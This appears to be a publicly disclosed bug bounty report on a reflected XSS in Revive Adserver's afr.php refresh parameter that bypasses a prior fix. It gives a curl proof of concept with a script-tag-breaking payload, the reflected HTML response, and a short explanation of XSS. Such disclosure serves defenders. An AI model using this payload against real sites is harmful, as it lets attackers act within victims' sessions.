Reflected XSS on /www/delivery/afr.php (bypass of report #775693)
A reflected cross-site scripting vulnerability existed in the refresh parameter of the afr.php endpoint, allowing an attacker to inject a closing script tag followed by a new script tag. This bypassed a previous fix and enabled arbitrary JavaScript execution in the victim's browser.
- Triaged in 31 hours
- Fixed in 36 hours
- Disclosed after 4 months
It is possible to bypass the first fix of this XSS by closing the script tag, and then opening a new one. cURL PoC is trivial :
curl "https://revive-instance/www/delivery/afr.php?refresh=10000&</script><script>alert(1)</script>"
The response will be :
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<title>Advertisement</title>
<script type='text/javascript'><!--// <![CDATA[
setTimeout('window.location.replace("https://revive-instance/www/delivery/afr.php?refresh=10000&</script><script>alert(1)</script>&loc=")', 10000000);
// ]]> --></script><noscript><meta http-equiv='refresh' content='10000;url=https://revive-instance/www/delivery/afr.php?refresh=10000&</script><script>alert(1)</script>&loc='></noscript>
<style type='text/css'>
body {margin:0; height:100%; background-color:transparent; width:100%; text-align:center;}
</style>
</head>
<body>
</body>
</html>
## Impact
An attacker can perform arbitrary actions on behalf of the victim.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker can perform arbitrary actions on behalf of the victim.
What the attacker needed
Victim loads a crafted URL
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is when a website puts user input into a page without cleaning it, so an attacker can make the page run their own JavaScript. Here, the input was placed inside a script block, and the attacker closed that block early and opened a new one to run code. This lets the attacker do anything the victim could do on that site.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.